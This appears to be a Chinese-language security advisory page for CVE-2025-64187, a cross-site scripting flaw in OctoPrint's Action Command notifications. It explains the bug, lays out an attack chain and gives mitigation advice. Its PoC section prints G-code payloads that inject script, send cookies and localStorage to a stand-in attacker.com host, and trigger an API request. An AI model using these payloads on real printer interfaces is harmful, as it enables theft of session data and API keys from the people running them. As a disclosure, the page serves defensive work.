IPBUF安全漏洞报告
English
CVE-2025-64187 CVSS 4.4 中危

CVE-2025-64187 OctoPrint Action Command XSS注入漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-64187
漏洞类型
XSS跨站脚本攻击
CVSS评分
4.4 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OctoPrint

相关标签

OctoPrintXSSHTML注入CVE-2025-641873D打印Web界面Action CommandG-code

漏洞概述

OctoPrint是一款开源的3D打印机Web控制界面,允许用户通过浏览器远程监控和控制3D打印过程。该软件在全球范围内被广泛使用,支持众多消费级3D打印机型号。CVE-2025-64187漏洞存在于OctoPrint 1.11.3及更低版本中,攻击者可利用Action Command通知机制注入任意HTML和JavaScript代码。当受害者打印攻击者精心构造的G-code文件时,嵌入的恶意脚本会在受害者浏览器中执行,成功利用此漏洞可导致正在进行的打印任务被中断、敏感配置信息泄露(包括API密钥、打印机设置等),甚至可以在受害者权限范围内执行任意操作。由于该漏洞需要用户交互(打印文件),攻击者通常通过社交工程手段诱骗受害者打开或打印恶意文件。此漏洞已在1.11.4版本中得到修复。

技术细节

OctoPrint在解析G-code打印文件时,会识别并处理特定的Action Command指令,这些指令用于向用户界面发送通知和弹出提示。漏洞产生的根本原因在于OctoPrint对Action Command内容缺乏充分的输入验证和输出编码。当解析到包含HTML标签或JavaScript代码的Action Command时,系统直接将其渲染到DOM中而未进行安全过滤。攻击者可在G-code文件中插入形如「;@echo M118 action:prompt <script>alert(document.cookie)</script>」的命令,OctoPrint会将script标签作为HTML直接插入页面,导致JavaScript在受害者浏览器上下文中执行。由于攻击利用的是Action Command通知机制,任何能够诱使受害者打印恶意G-code文件的攻击者都可以触发此漏洞,且攻击代码在受害者与OctoPrint实例的会话上下文中执行,可访问该会话的所有数据和执行权限范围内的操作。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意Action Command的G-code文件,在指令中嵌入HTML和JavaScript代码
STEP 2
步骤2
攻击者通过社交工程手段(邮件、论坛、文件分享等)诱骗受害者下载并打印该恶意G-code文件
STEP 3
步骤3
受害者使用OctoPrint打开并开始打印该文件,OctoPrint解析G-code时识别到Action Command指令
STEP 4
步骤4
OctoPrint将Action Command中的HTML内容直接渲染到Web界面,未进行安全过滤或编码
STEP 5
步骤5
嵌入的JavaScript代码在受害者浏览器中执行,可窃取Cookie、LocalStorage中的敏感信息或执行API操作
STEP 6
步骤6
攻击者接收泄露的敏感数据,或利用受害者权限在OctoPrint实例上执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
; M118 action:notification <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)"> ; M118 action:prompt <script>fetch('http://attacker.com/exfil?data='+btoa(JSON.stringify(window.localStorage))).then(r=>r.text()).then(t=>new Image().src='http://attacker.com/log?r='+t)</script> ; M118 action:prompt <h1 onclick="fetch('/api/files/local/metadata',{method:'POST',body:'{"path":"test"}'})">Click me</h1>

影响范围

OctoPrint <= 1.11.3

防御指南

临时缓解措施
在官方补丁发布前,用户应避免打开或打印来自不可信来源的G-code文件,特别是通过邮件、社交媒体或第三方下载站获取的文件。建议启用OctoPrint的安全设置,对文件进行来源验证,并定期检查是否有异常的通知或弹窗出现。如必须处理外部文件,可在隔离环境中使用文本编辑器检查G-code内容,搜索是否存在异常的action:prompt或action:notification指令。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表